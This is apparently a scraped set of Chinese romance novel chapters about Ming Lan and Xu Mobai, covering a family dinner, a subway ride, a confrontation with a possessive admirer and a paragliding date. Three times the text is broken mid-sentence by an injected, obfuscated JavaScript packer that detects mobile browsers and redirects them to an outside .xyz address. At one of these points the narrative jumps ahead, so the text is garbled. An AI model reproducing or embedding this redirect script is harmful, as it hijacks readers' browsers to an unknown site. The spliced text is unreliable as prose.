许听白不是话多的性子,就这样端端正正坐着,两只嫩白的指尖捏着螃蟹腿,一点点挑肉,认认真真的像是在做化学实验。 “别担心,奶奶好好吃药慢慢会好起来的。” 许听白点点头,这话说到底只是安慰,因为阿尔兹海默症是无法逆行,也就是不能治愈,只能缓解症状。 许墨白回到公共厨房,捡起地面散落的土豆拧开水龙头清洗干净,炒了一盘土豆丝,和醋溜小白菜。 回来后明斓和许听白已经吃了一会了,他把两盘炒好的青菜放到茶几上,坐到一边,看到碗里扔着的几只大蟹脚,端过来套上一次性手套给两位女生剥蟹腿。 明斓在热气缭绕中抬眼:“你别光剥不吃啊,再不吃肉可没了。” “你们先吃。” 许墨白始终没动筷子,明斓也不想总热脸贴他冷屁股,自顾自吃着,偶尔与许听白聊着天。 聊几句熟了后她发现许听白这姑娘挺可爱的,可能是没什么朋友,有点封闭,说话也不流畅,但简单交流总没问题。 明斓看到许听白耳侧吸着一只像耳机一样的东西,有些好奇的凑近观察:“这是你的助听器吗?” 许听白以防她不小心碰到,警惕的捂住了人工耳蜗外机:“是人工耳蜗。” “耳蜗,戴这个会痛吗?” 许听白反应了一会,笑着回她:“不痛。手术打麻药的。” “听到的声音和正常声音是一样的吗,会不会有那种杂音什么吗?” 这句有点长许听白反应不过来,她求救式的看向对面的许墨白。 许墨白替她说:“人工耳蜗听到的声音与品牌和个人有关,大体是差不多的,但听到声音并不意味着会听懂和会说话,还需要很长时间的语言训练,通常年龄越小效果越好,我妹妹当时已经错过了语言发展的最佳时期,所以很多话她听不懂,你可以说慢一点,或者写下来。” 这么漂亮的女孩却没有健康的听力好可惜,不过也感谢现代科技,让她还有机会听到声音。 明斓喝着果汁,问她:“你在哪上学?” “听障学校。” “你不是能听到声音吗?为什么还要去特殊学校,不会耽误语言吗?” 许听白捏了捏衣角,又没听懂她的话,心里委屈又自责的低下头。 许墨白替她说:“她去普通学校上课跟不上进度,也听不懂别人说话,怕她不适应会落下更多。” “这样啊。” 在学校打手语,回到家哥哥也不爱说话,怪不得语言这么滞后。 许听白又说:“哥哥、给我补习,痕厉害。” 明斓抬眼时正看到许墨白朝她这边看过来,客厅老旧灯光在这时晃了晃,眼前男生的脸庞有些模糊。 许墨白说:“她今年在上语言班,顺利的话明年中考能考上普通学校。” 明斓点了点头,对旁边许听白说:“你平时没事可以找我聊天的,毕竟你哥哥~也不太爱说话,我陪你聊天。” 许听白笑起来:“好。” 女孩子熟络起来很快,两人一来一回聊得也很投机,期间还交换了微信。 聊着聊着,突然听到许墨白煞风景的声音响起:“吃完了吗,你该回去了。” 明斓瞥一眼手机屏幕:“才不到八点。” 许墨白:“这里离你家很远,晚上很危险。” 许听白也觉得还很早,想再和她玩会,眨着眼有点不舍:“我可以、去送姐姐。” 许墨白:“你去送更危险。” 许听白:“……” 明斓抿了抿唇,有点不开心,嘴里嘟囔着:“不就是要赶人嘛,还说的冠冕堂皇的,切。” 许墨白没回腔,站起身取了外套:“走不走?” 明斓一顿,他这意思这是要送自己,心中一喜,都顾不上时间早晚了,抓过自己的包就跟上:“走走走,马上就走。” 许听白站在门前目送她们:“姐姐再见。” 明斓倒退着跟她挥手:“妹妹拜拜,我以后会常来的,微信联系哦。” “好。” “常来”二字令许墨白身体微微一僵,低眸去看她,明斓倒是并无异常,还跟他说:“今天的大闸蟹可太好吃了,明明是奶奶专门为你买的,你却一点都没吃,辜负她的心意哦。” 许墨白反应平淡:“没有辜负。” “嗯?” “我辣椒过敏。” 明斓“啊”的一声,瞪着一双杏眼,有点不可置信:“你不是南方人吗?” 许墨白突然笑了下,眉眼间的疏离如冰雪消融般散去:“谁说南方人就一定能吃辣了。” 明斓第一次见他笑,这笑容干净舒适,明斓竟然被他这笑容晃得脸颊发热。 她挠了挠脸颊:“可奶奶不是让你调辣汁?说你爱吃。” “她记混了,是我妹妹喜欢吃辣。” 原来是这样 明斓抿了抿唇,笑着揭过这个沉重话题:“没关系,我记住了,下次绝不带你吃辣的。” “下次”、“常来”、“以后”,她还真是总喜欢说这样惹人遐想的词,好像两人真的有什么以后一样。 许墨白心中叹了口气,他住的这片筒子楼晚上老远才有一盏路灯,光线昏昧,明斓紧跟在他身边,巷子里有风吹拂而过,他能闻到她发间清淡的茉莉花香。 许墨白下意识把她拉到里侧,防止她被绊倒,用手机打开照明灯手电筒照在她脚边。 从巷子里出来,许墨白想打车,明斓指着对面十米开外的地铁口:“对面就是地铁站,为什么要打车?” 许墨白看了一眼街对面,花枝巷这一站是换乘站,人流量很大,晚上七八点正好是下班高峰期,他潜意识觉得明斓这样娇生惯养的大小姐不适合挤地铁,便说:“打车吧,太挤了。” “从这到汀兰水榭打车至少四五十,来回就是一百,都省出两只大闸蟹了,走啦去坐地铁。” 她从小霸道惯了,说什么是什么,不允许他发表反对意见,扯着他袖口就往地铁站跑。 虽这么说,但明斓是真没坐过地铁,她新奇地看着前面一行人拿出手机迅速扫了下码,闸机打开,她有点不太确定问许墨白:“那个……他们扫的是什么呀,不用买票?” 许墨白:“……你有安京地铁APP吗?” 明斓:“什么APP?” 许墨白:“扫码坐地铁的。” 明斓:“没有。” “……” 许墨白指了指旁边售票机:“先去那买票。” 明斓走过去,看着他在机器前点了好几下,最后屏幕加载出现付款码,许墨白拿出手机用微信扫了码,售票机吐出一张纸质地铁卡,他递给了她。 明斓捏着薄薄的尚留他体温的卡片翻看几下,揣进了兜里。 晚上八点多,地铁的人流量比想象中多,每个等待口人都很多,上车后也没有位置了。 明斓寻了个角落靠着,许墨白站在她身后,拉住头顶的吊环。 没等明斓站稳地铁就启动了,她因惯性身子往后偏了下,脑袋猝不及防磕到了男生硬朗的手臂肌肉,还好没有摔倒。 明斓扭头看了他一眼,许墨白身形高大,帮她隔开拥挤的人群,圈在一个狭小的空间中。 这时身后有人推了他一把,许墨白踉跄一步,两人的距离瞬间拉进,近到可以看清他睫毛的密度,又密又翘,在眼下落了层阴影。 男孩子也可以有这么长的睫毛吗。 明斓很好奇:“你的睫毛好长,我可以拔一根和我的比一比谁的更长吗。” 她说着就要动手,被许墨白眼疾手快握着了手腕:“明斓。” 他的语气颇为无奈,一双眼睛湿漉漉的,又勾人又可怜。 明斓可受不了这种眼神:“好好好,我不拔了。” 把明斓送回家,许墨白坐地铁原路回来,这会儿地铁上人少了很多,他寻了个角落的位子,刚坐下,口袋中手机震动几下。 小明同学:【你到家了吗?】 许墨白指尖顿了顿,回复她:【在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892334|176519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地铁上。】 小明同学:【好的,注意安全哦~】 明斓的头像是一只带墨镜的超酷小猫咪,而他的则是大白的微笑照,乍一看,一猫一狗,一黑一白,倒是有点像情侣头像的意思。 许墨白被自己这一想法吓到。 他放下手机,身体微微后仰,企图赶走脑海里的胡思乱想。 许墨白出了地铁口,往家走的路上看到了楼下站着一个人。 李菁菁。 她穿着件月白色吊带裙,老远看到他,蹦蹦跳跳跑过来:“许墨白,你回来了,我等你好久了。” 许墨白淡淡瞥了她一眼,没说话,两人一前一后走近巷子。 李菁菁跟着他:“你这是出去了?” 许墨白:“嗯。” 李菁菁:“去哪了?” 许墨白没回答,或者说他习惯用沉默来面对她。 李菁菁攥紧了斜挎包的肩带,心里被愧疚蚕食:“那个……我那天不是故意打你的,真的对不起,我……我也不知道是怎么了,我没有控制好情绪,对不起。” 许墨白沉默不语。 李菁菁有点焦急想去抓他的胳膊:“我只是害怕,我害怕你喜欢上她。” 许墨白身子一侧,李菁菁的手就这样停留在半空,有点僵硬。 “你想多了吧。”他的语气依旧没有起伏。 李菁菁说:“没有就好,反正你有我喜欢就够了。” 许墨白突然停下,垂眸看向她,他真的很少以这样直勾勾的眼神看她,李菁菁有点不安的躲闪他的眼神,她怕自己今晚妆容不够完美,也怕被他看出脸上的瑕疵,很紧张。 “够了吧,李菁菁。”许墨白打断她。 李菁菁愣了下,似是有预感他要说什么,心脏倏忽缩紧。 许墨白走近,他身上的气息很干净,像夏日佛手柑浸泡的清泉,离近后他从口袋中取出一张银行卡:“这里有十万块钱,密码是六个八,我高中三年学费以及奶奶住院费共八万七,剩下的是利息。” “什么意思?”她不想要,恐慌着要后退,被许墨白握住手腕塞进手心。 “我们两清了。” 即使知道现在不是最好的时机,但他受够了,他想逃离这座囚牢,这套以恩情为名的枷锁。 李菁菁眼眶红到充血,咬牙切齿:“两清?你要跟我两清,你清的了吗?” “我知道这并不能完全偿还李家对我的恩情,我会永远感激李叔叔对我的帮助,日后如有需要我也会尽力帮忙,至于其他的我无能为力,对不起。” “你……” 李菁菁攥着银行卡,气不打一处来,突然想到什么:“你哪里来这么多钱,明斓给你的?你跟她做了什么交易,就为了要摆脱我!” “跟她没有关系,这是南大给我的一次性奖学金。” 李菁菁彻底怔住:“南大?你……你改了志愿,你要去南大?” “是。” “你疯了吧许墨白,你这样的分数明明可以读更好的大学为什么要留在本地读南大,你……你……你明明答应我和我去北京的,为什么要偷偷改掉志愿,为什么不告诉我,你疯了吗?” “疯的不是我,”许墨白平淡道:“李菁菁,我不喜欢你。” 李菁菁一愣,不可置信自己听到了什么。 她愤怒又冰冷地盯着他:“你说什么……不喜欢我?” “是,我不喜欢你,以后也不会喜欢你。”他重复。 “你……你不喜欢我,那你喜欢谁?”李菁菁紧紧攥着那张银行卡,锋利边缘几乎陷进肉里去,勒出一道血痕:“明斓吗?你喜欢明斓,对不对?” 许墨白停顿一下,脸上露出几分不易察觉的迷茫。 李菁菁直勾勾看着他,观察他分毫的表情变化,最后得出了结论:“你真的喜欢她?” 许墨白偏头不看她:“和她没有关系。” 话落,继续径直往前,不愿再纠缠。 李菁菁赤红着眼跑到他身前拦住他:“你不能和她在一起。” 李菁菁说:“你知不知道那天她脚上那双鞋子多少钱,是限量奢侈品牌专柜八千多,还有她那只耳环也好几万,你这张十万块钱的卡连她一个包都买不起,你还癞蛤蟆想吃天鹅肉,简直痴心妄想。” 许墨白好半晌没吭声,不知为何,他突然有些烦躁:“所以呢,跟我说这些做什么?” “我想让你清醒一点,她这样出身的大小姐什么人没见过,几天换一个男朋友也不新鲜,她肯定是觉得你长得好看图新鲜,你不会真以为她看上你吧,怎么可能,也不看自己配不配。” 许墨白手指收紧,面色依旧如常,只是喉间的酸涩感怎么都消退不去,又胀又痛。 “也许明斓现在对你感兴趣,但你确定她知道了你的真面目还会喜欢你吗,怕不是得连夜逃跑,没人比我更了解你了,许墨白,你才是那个不折不扣的疯子,我们才是同类人,就该一起下地狱,你别想抛下我。” “现在马上离开。”许墨白站在上一阶台阶上,手指紧握成拳,用力到青筋崩起,极力克制道:“否则我不确定会不会对你做什么?” 李菁菁发狂似的笑起来:“你生气了,被我说中了吧。许墨白,你装了几年就真的以为自己是正常人了吗?有点自知之明吧,你骨子里就是个人格不健全的变态,连你的亲生父亲都敢杀死,还有什么是你不敢做的,全世界只有我才不会嫌弃你。你以为欠我的就这十万块钱吗?别忘了当初是我救了你,你还不清的,你这辈子永远别想跟我两清!” 9. 月亮 明斓回到家,躺床上玩了会手机,心血来潮又爬起来跑去了画室。 按下顶灯,明晃晃的光线照亮整间画室,中间的桌面摆着一盆鲜艳百合,地上杂七杂八放着简约画具,她拉开椅子,坐到画架前,把未完成的那张画揭下来扔到一边,重新铺了张素描纸。 她转着手里铅笔沉思一阵,一口气画了张速写。 只用了十几分钟。 寥寥几笔,神韵十足。 画面上少年气质清冷,偏长了双蛊人的桃花眼,薄唇高鼻,眼睑微微下垂,漂亮的眸子澄澈干净,跃出纸面的温柔与深情。 怎么会有人比女孩子还好看呢。 明斓越看越喜欢,直至江琳茜一个电话call过来,隔着黑屏看到自己翘得快压不住唇角。 明斓啊明斓,你什么时候这么花痴了。 她揉了下腮帮子接通电话。 “宝贝儿,今天过得怎么样啊?”是江琳茜。 明斓就知道这小妮子是来查进度的,她自然不肯落了下风,颇为自信:“刚吃完一顿烛光晚餐,划重点是在他家吃的。” 江琳茜激动问:“睡了?” 明斓额角跳了跳,谴责她:“能不能不这么肤浅,就知道睡,感情是睡出来的?” 江琳茜:“所以你们吃完饭干什么了?” 明斓:“吃完饭他把我送回家了。” 江琳茜对她很失望:“小学鸡,孤男寡女独处一室多好的机会你不把握,就让他把你送回来了?” 明斓不急不慢说:“谁说孤男寡女了,明明还有他的奶奶、妹妹外加一只萨摩耶。” “……” 江琳茜:“那你这叫家庭聚餐而不是烛光晚餐。” 明斓:“要你管,我自有我的计划。” 江琳茜:“行,你继续加油,我只是提醒你已经过去2天了哦~” 挂断电话,明斓托腮重新欣赏一遍刚才的画作,原来他们才认识2天,怎么感觉认识这么久了呢。 _ 次日清晨,一辆亮眼的粉色机车在喧嚣的闹市飞驰而过,少女穿黑色工装裤,白色紧身衣,漏出一截纤细的腰身。 呼啸而过的疾风吹起她露在头盔外的棕色长发,正当路人频频张望时,一个漂亮的急刹,摩托车在路口转了个弯,停在一家叫【初遇】的奶茶店前。 明斓摘了头盔,迎风甩了甩长发,一张明艳到张扬的面容。 锁好车,她大步走进店内,对着上方菜单目录说:“来一份波霸奶绿,三分糖去冰。” 服务小妹下好单,趁着没客人冲进后厨:“啊啊啊,刚有个开着粉色杜亚迪来买奶茶的小姐姐,又美又飒!” “还是改装款superleggerav4,卧槽富婆!” “而且她长得超级正点,现在就坐在店里,从这边可以看见。” “哪里我看看,啊真的啊,姐姐养我。” 许墨白正蹲在水果篮前剪葡萄,闻言脑海中浮现出一张清丽明艳的笑容,是她吗? 明斓坐在靠窗的位置,等了会仍没看见许墨白的身影,以为他今天休息,拎着奶茶准备离开时,店内自动感应“叮”的一声。 头顶光源被挡住,明斓抬头,看到李大小姐脚踩十厘米高跟鞋,气势汹汹站在她面前。 身后跟着两个身高一米九,一身腱子肉的墨镜哥,冷酷刚硬的模样吓跑了好几个买奶茶的小妹妹。 明斓缓慢往后靠到椅背上,上下打量她几眼,才发现她今天穿得挺讲究,是一件墨蓝色星光裙,这不由让她想起几天前她穿的那件礼裙,只不过款式改短了更适合日常。 明斓不懂她这是什么脑回路,学她穿衣服干嘛。 “有事?”明斓挑了挑眉梢,狠狠吸了一口珍珠。 这声音听得李菁菁直皱眉,她注重身材从来不碰奶茶这类东西,在她眼中奶茶约等于行走的卡路里。 “别再骚扰许墨白,你想要什么我都可以满足你。” 明斓是真没想到,这种“拿着500万离开我儿子”的剧情有一天会在她身上上演。 明斓笑道:“有意思,我确实有点想知道许墨白在你心里能值多少钱了?” 李菁菁双手拍在桌面上,眼中满是恨意:“你根本就不喜欢他,你到底要干什么?” “谁说我不喜欢他了,我对他一见钟情、二见倾心,自此夜不能寐非他不可。” “你说谎!我不信。” 明斓用食指骨节抵着下巴,笑得很欠:“你信不信跟我有什么关系,我让许墨白相信不就好了?” 李菁菁冷笑:“别装了,我知道你就是一时兴起,可我也要提醒你,许墨白根本就不是个正常人,他知不知道他爸是怎么死的,是被他给活活淹死的,他当时不足十四岁所有才没有坐牢,你靠近他不会有好下场的。” 自己不正常还说别人不正常,真会倒打一耙。 明斓无所谓道:“既然他这么变态,怎么没顺带把你淹死,你知不知道你很烦人。” 李菁菁:“你……” “行了行了,别在这跟我废话了,我奶茶都要化了,”明斓两指捏着奶茶杯口晃了晃:“时间不早了,我先回家吃饭,明天再说吧。” 明斓走了两步又倒退回来:“对了,我劝你这几天最好时时刻刻看紧他,不然我一有机会就会把他抢走的,毕竟我这人就喜欢夺~人~所~爱,拜拜。”说完对她附赠了一个wink。 李菁菁气得脸色铁青。 第二天明斓果真又遇到了李菁菁,她点了杯草莓奶茶坐到昨天的位子上。 隔着两个位子就是李菁菁,还有昨天那两个保镖,监督着许墨白的一举一动。 许墨白似是习惯了李菁菁这种监督方式,他只安静做事,没人的时候就拿一本计算机专业的书看。李菁菁一般不会打扰他,除非他和女生说话,时间久了许墨白就真的很少到前台,宁可在后厨做苦力。 明斓可真佩服他,这和坐牢有什么区别。 隔天是个周末,店里客人比较多,许墨白被推出来帮忙点单,来买奶茶的大多数都是年轻女孩子。 女生一多,李菁菁彻底坐不住了,焦躁地用指甲扣着桌子边缘,但她可能也是怕许墨白生气,极力克制着自己。 明斓跟在人群后面排队,到她时扫了一眼上方悬挂着的菜单目录表,眯了眯眼笑道:“来一杯芋泥波波奶茶。” 许墨白看到是她,往李菁菁的位子看了眼,很快收回视线“嗯”了声。 明斓:“不要芋泥,也不要奶茶。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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明斓也不是吃素的,从后车镜注意到紧跟的出租车,车扬起的热浪中冲淡她身上特有的花香,明斓在疾风中喊了声:“抱紧了,我要加速了。” 许墨白看着近在咫尺纤细的腰身,单薄又柔软,像是他稍微用点力就能掐断,他忽然想到一个词:温软香玉。 许墨白双手握紧了两侧后卧把手,到底没有去搂她的腰。 两车一前一后,粉色杜亚迪像一头猎豹,极速超车,在国道飞奔。身后出租车不遑多让,因为路上车辆多,出租车不方便变道,距离仍越拉越远,在弯道时明斓一个漂亮的摆尾,车轮摩擦地面再度加速离去。 这时,后视镜中的出租车还被几辆小轿车挡在拐弯处,明斓比了个胜利的手势,这就是摩托车在城市穿梭的优势。 热风贯穿过身体,是一种极致的畅快,明斓突然对着风喊了声:“许墨白,你觉得我现在像不像童话里面的勇士?” “什么?” “打败恶龙,从城堡中拯救公主的勇士啊?” “所以我是公主?” 许墨白笑了,声音不大,随风飘到她耳朵,格外惹人心神。 明斓心想自己头盔下的耳朵可能红了:“坐稳了,我带公主去感受一下自由的飞翔。” 机车沿环山路到达滑翔伞基地,明斓停车,对他扬了扬下巴:“走吧。” 这片是着陆场地,起飞场在山顶,需要坐缆车或者游览车上去,足足有3000平,草坪上坐着不少等候和休息的人,天空偶尔飘过五颜六色降落伞。 许墨白:“这就是自由的飞翔?” 明斓:“当然,都上天了还不自由。” 许墨白:“……” 10. 月亮 两人在山下乘坐缆车去山顶,一路都是蔚蓝的天空,云彩窝在天边像一团团棉花糖。 明斓拿手机拍了好几张天空照,最后都不满意,对着许墨白的方向咔嚓一张。 许墨白不习惯拍照伸手想去挡,已经来不及,镜头中少年微垂着眸子,侧脸轮廓干净隽秀。 这样拍下来明斓才发现他右眉尾有一颗褐色小痣,明斓惊喜的凑过来:“你有桃花痣哎。” 许墨白往后靠了下,喉结微微滚了滚,白净的耳廓红了:“什么痣?” “桃花痣啊,又名喜上眉梢,就是有这种痣的人异性缘都特别好,容易招惹桃花。”明斓笑嘻嘻揶揄他:“怪不得李菁菁对你这么死心塌地。” 许墨白并不觉得这是什么好寓意,他以前没注意过,现在却觉得这可能是诅咒。 明斓却很喜欢他这颗痣,冷白的皮肤在阳光下像渡了层釉的白瓷,眉骨旁的褐色小痣更是勾人心扉。 明斓怕丢还把照片备份到了云空间。 缆车到达山顶,明斓和许墨白来到了起飞坪,山上风很大,走路都有点费劲。 明斓以前常来玩,所以有伞具寄存在这边的俱乐部,她拆了伞包检查完装备,专注地给自己戴防护手套。 许墨白站在不远处看山下的风景,不一会明斓拖着降落伞过来开始往他身上挂锁扣,他扭头攥住她的胳膊:“干什么?” 明斓笑道:“我带你飞啊。” 许墨白:“?” 许墨白:“可我是男的,比你重很多。” 明斓:“那怎么了,是我带你飞,又不是我背你飞?” 许墨白:“……” 旁边几个和明斓熟悉的滑翔伞教练过来笑着说:“小哥放心吧,她在我们俱乐部很厉害的,都能带200斤胖子上天,你完全不成问题。” 明斓摊手,表情似乎在说,“看吧,我没骗你吧。” 许墨白仍是攥着她的手腕没松开,黑眸锐利深邃,明斓朝他眨了眨眼睛,诱哄道:“我有飞行执照的,不是无证上天。” 许墨白犹豫后松了手,明斓给二人绑好最后一颗锁扣,这样他们几乎一前一后被捆绑在一起。 明斓歪头看他,一双眼睛亮到不行,双手不客气地从后面搂住他的腰:“放心,我很专业,保证不让你摔下来。” 光明正大占便宜。 看他现在还有什么理由不让她搂。 许墨白倒是不怀疑她的专业,他知道明斓爱玩,什么极限运动都有涉猎,滑翔伞相对而言是很安全的运动了。但他毕竟是成年男性,他怕她手臂力量不够控制不好方向,遇到危险。 许墨白:“你确定不需要专业教练帮忙?” 明斓自信满满:“当然,记得帮我拍照!” 风吹起她的发丝,护目镜架在小姑娘挺翘的鼻梁。 有阵风从山谷上涌,气流上升,倒灌的热风铺面而来,明斓兴奋的拽起伞绳,迎风狂奔:“OK,起飞啦,公主!” 滑翔伞在背后张开,随着助跑动作,两人从起飞坪一跃而起,大脑和身体一瞬间被风灌满,所有的阴郁和烦恼都好似要随风而逝。 今天天气不错风向也合适,滑翔伞从六百多米山顶越飞越高,俯瞰而下是连绵的山脉和两山相接的峡谷,中间还有一汪碧绿的清泉。 人类果然对着天空有着无限向往。 一阵风挂过,明斓拉住拉扣,但还是被吹得身子偏了偏,嘴唇磕到了他的后勃颈,这行为就很像是故意在吻他一样。 许墨白回头凝望她,两人在空中对视,明斓不好意思朝他笑了笑,阳光下的脸颊都变得红彤彤的了。 许墨白觉得有些好笑,她也遇到过很多直白的女生,但他没见过明斓这样的,一双黑葡萄的眼睛亮晶晶看着他,明里暗里占便宜,恨不得把所有小心思都写脸上,却又在被发现这一刻羞红了脸。 明明没多少心眼,非要装嫖.客。 许墨白笑了。 以为是嘲笑,明斓努努嘴巴:“我不是故意的。” 她背后是柔软的云,耳边几缕发丝迎风飘散,张扬又不安分地勾缠着他的侧脸,似是要勾进他的心里。 许墨白有点口感舌燥,喉咙发痒,他望进她清澈的眸子:“我没说你是故意的。” “但你心里一定这么想的,你的眼神像在看一个流氓。” 许墨白又笑了:“你不是吗?” “好啊你,我让你看看什么才是真正的流氓。” 明斓佯装恼怒,左手拉住卡扣,伞面单边塌陷,两人瞬间失去了平衡开始在空中螺旋下落,一刹冲上云霄又跌落,强烈失重感像在空中玩过山车。 许墨白心里一坠,身体仰面翻过,反而看到了另一幅美景。 盛夏炽热的阳光落满伞面,空气中肆意而过的气流穿透身体,他变得轻飘飘没了重量,像是灵魂飘在半空中,自由落地带来的快感甚至让他忘记了一切。 他被阳光三百六十度包裹,身侧再无任何黑暗、阴郁、痛苦侵袭而来。 世界温暖,大道光明。[1] 是真正的御风飞行,他无声笑起来。 尽管时间很短,他还是感受到温暖降临在他身上。 下降到某一高度时,明斓再次调整了滑翔伞角度,伞面被风吹盈饱满,平稳往山下降落点滑去。 因为是两个人,明斓个子比他矮很多,下降时没站稳,两人又滑出一段距离,越过了降落场,双双摔进一片茂密的薰衣草花海。 花香沁脾,火红色降落伞瞬间淹没了两人。 明斓出师不利,有点丢人,爬起来火急火燎去扒身上的伞具,一时找不到头,越弄越乱差点被线缠起来。 许墨白终于忍不住笑出声,侧身过来解开两人相连的绳扣,勾住绳子一条条捋顺,想把她解救出来:“我记得有人说她是专业的。” 明斓的脑袋还在伞面下,最后放弃了挣扎,坐在原地,脑袋埋在伞面下,声音变得闷闷的:“当然专业,我成功把你从天上带回来了。” “然后把自己裹成粽子吗?” “你好烦,谁能不碰到一点意外。”明斓嘟着唇娇嗔,屁股下茂密的薰衣草扎的她胳膊有点疼,许墨白拉开最后一根绳索,明斓终于从降落伞下探出头。 她深呼一口气:“你真的是第一次玩吗?怎么都不害怕,就刚刚那一下螺旋下坠,我学了好久的,上次带茜茜过来都把她给吓哭了。” 许墨白低笑:“还……挺刺激的。” 收好伞具,他摘了护目镜站起来,朝她伸出手。 冷风吹过,明斓耳边碎发胡乱翻飞,她瘫坐在地上仰着头,看着面前的人笑得像个离经叛道的小狐狸。 看不出来啊。 还挺野性。 “下次敢不敢跟我去跳伞?”明斓搭着他的手站起来,拍了拍裤子上的土。 许墨白:“跳伞你也有执照?” 明斓:“没有,有点难,跳伞和滑翔伞完全不一样,我都没敢尝试过。” 许墨白说:“可以去试试。” 明斓眼睛又亮晶晶了:“跳伞你也敢,说实话我还是有点害怕的,但你在我可能就敢跳了。” 两人离开的时候路过一条公路,听到旁边好像有几声微弱的叫声:“喵~”。 明斓竖起耳朵:“怎么好像有小猫咪。” 许墨白也停下来,在附近找了一会才发现一只小花猫躺在路边的破旧塑料袋里,他蹲下身解开袋子的封口。 “喵。” 小花猫虚弱的睁不开眼睛,浑身发着抖,前爪还被野兽啃的血肉模糊,看着可怜巴巴。 明斓心里不是滋味,想摸摸它又怕弄痛它,瞬间就心疼了起来:“小猫咪好可怜啊。” 许墨白没有带吃的,拧开一瓶矿泉水倒在手心喂它,动物感知敏锐,小花猫察觉到善意,歪歪扭扭支撑着身体过来舔舐他的手心。 “他会不会死?” 许墨白安慰她:“没事,估计是饿的,我们把它送宠物医院吧。” “宠物医院也不能一直养它啊,我不会养猫,不然我就把它带走了。” 许墨白看着她,小姑娘皱着眉眼里包着泪,满脸的心疼,许墨白于心不忍了:“等它伤好了,我带回去养。” “你会养?” 许墨白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892336|176519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头:“没养过,但大白和小白都是我养大的,原理应该差不多,也算有经验。” 大白是他家萨摩耶,她知道。 “小白是什么?” 许墨白抬头看她一眼:“小白是我妹妹。” 明斓:“……” 能养大还真是意外。 两人在山下找了一家宠物医院给小花猫做了清创,医生说猫咪太小了刚出生不久就被抛弃,最好留院观察几天,不然带回家容易养不活。 许墨白欣然同意。 回程路上明斓突然有点饿了,她摸着自己平坦的小腹:“折腾一整天,我都饿了。”语气有些撒娇。 许墨白:“想吃什么?” 明斓想了想:“小龙虾。” 许墨白:“我知道一家店的小龙虾不错,要去吗?” 明斓眉眼弯弯:“好啊。” 两人结伴来到停车场,粉色机车又酷又炫,在一众黑色摩托车中自带光感特效,一眼就看见了。 明斓三两步走过去,钥匙在手中转了两圈被许墨白顺势接过去,他说:“换我载你?” 明斓小小地惊讶了一下:“你会骑摩托车?” “高中时周末去送过外卖,偷偷学的证,很久没骑了。”他挑衅般问:“敢坐吗?” 明斓的字典里就没有“不敢”两个字:“小瞧人,天上的滑翔伞我都敢飞,摩托车有什么不敢坐的。” 许墨白笑了声,帮她戴上头盔,指尖按上暗格里的卡扣。 发动机点火,引擎轰鸣在山谷间,震得耳膜嗡嗡作响。 事实证明她果然还是高估了自己,许墨白这人虽看着内敛,喜怒不形于色,她没想到,他骑摩托车居然这么、野。 风声呼啸着从耳边刮过,周遭景色迅速倒退成线,让拥有飞行执照的明斓都忍不住肾上腺狂飙,这比滑翔伞刺激啊! 她在风中呼啸:“许墨白,你居然飙车!” “这算飙车吗?”许墨白回。 “160码还不叫飙车,再快你就起飞了!” 回应的是一声戏谑的浅笑。 山路寂静漆黑,摩托车前灯像暴雨前的闪电,快而短促一闪而过,明斓沸腾的小心脏根本停不下来,要知道以这种速度在山路狂飙,一米之隔就是深不见底的乱石悬崖,一出事就是大的,毫无生还可能。 她紧搂住他的腰贴在他背上,感受着他发力时的肌肉的硬度,心脏都快跳出来了。 即使这么快了她还是能感受到他在不停在加速,明明很危险可心里又矛盾地觉得刺激,愉悦大过害怕。 到了市里,许墨白终于把车速降下来,原本的野性与疯狂全然不见,变得温和平稳。 最后拐到一条小巷,摩托车原地漂移半圈停下。 明斓一路紧绷的神经终于松散下来,脱力一般松开他,瘫在后座上,她现在后背真一身汗,这可比滑翔伞可怕多了。 许墨白熄火停车,接下头盔,转头瞧她,笑着问:“怎么样?” 明斓也不是第一次玩刺激项目,还是忍不住给他竖了个大拇指:“还……挺刺激的。” 许墨白就当她是在夸奖了。 明斓捋着还没停歇的小心脏:“说实话,你是不是记恨我在空中拉的那一下卡扣。” 许墨白浅笑:“我不至于这么小气,下来了。” “腿软下不来了,要抱抱。” 明斓颤巍巍抬起发软的胳膊,抿着唇看向他。 许墨白站在原地没动,阴影下一双眼睛漆黑如墨,如深不见底的湖水。 这表情是要拒绝啊,明斓叹了口气:“开玩笑,我自己能下来。” 她这一只腿刚搭过来,许墨白忽然上前一步,高大的阴影彻底覆盖住她,俯身单臂穿过她的膝弯,把人打横抱起来。 “啊?” 身体腾空时她的心跳也像过山车般冲上云霄,明斓搂住他的肩惊呼出声。 公主抱啊!: 她今天真的刺激过头了。 小心脏是恢复不了正常频率了。 温热的呼吸扑在他耳侧,许墨白听到小姑娘在他耳边吞咽口水的声音。 11. 月亮 夜已至深,南京路上的大排档还在营业,店里零零散散坐着几桌,大多是刚下班来吃夜宵。 许墨白抱着明斓从街头一路走到街尾,粘了不少周遭热烈的目光,明斓窝在他怀里,偷偷笑弯了唇角。 一直到店里,许墨白才放下她。 许墨白拿纸巾擦了几遍桌子,突然记起这边是大排档,环境混乱人员嘈杂。 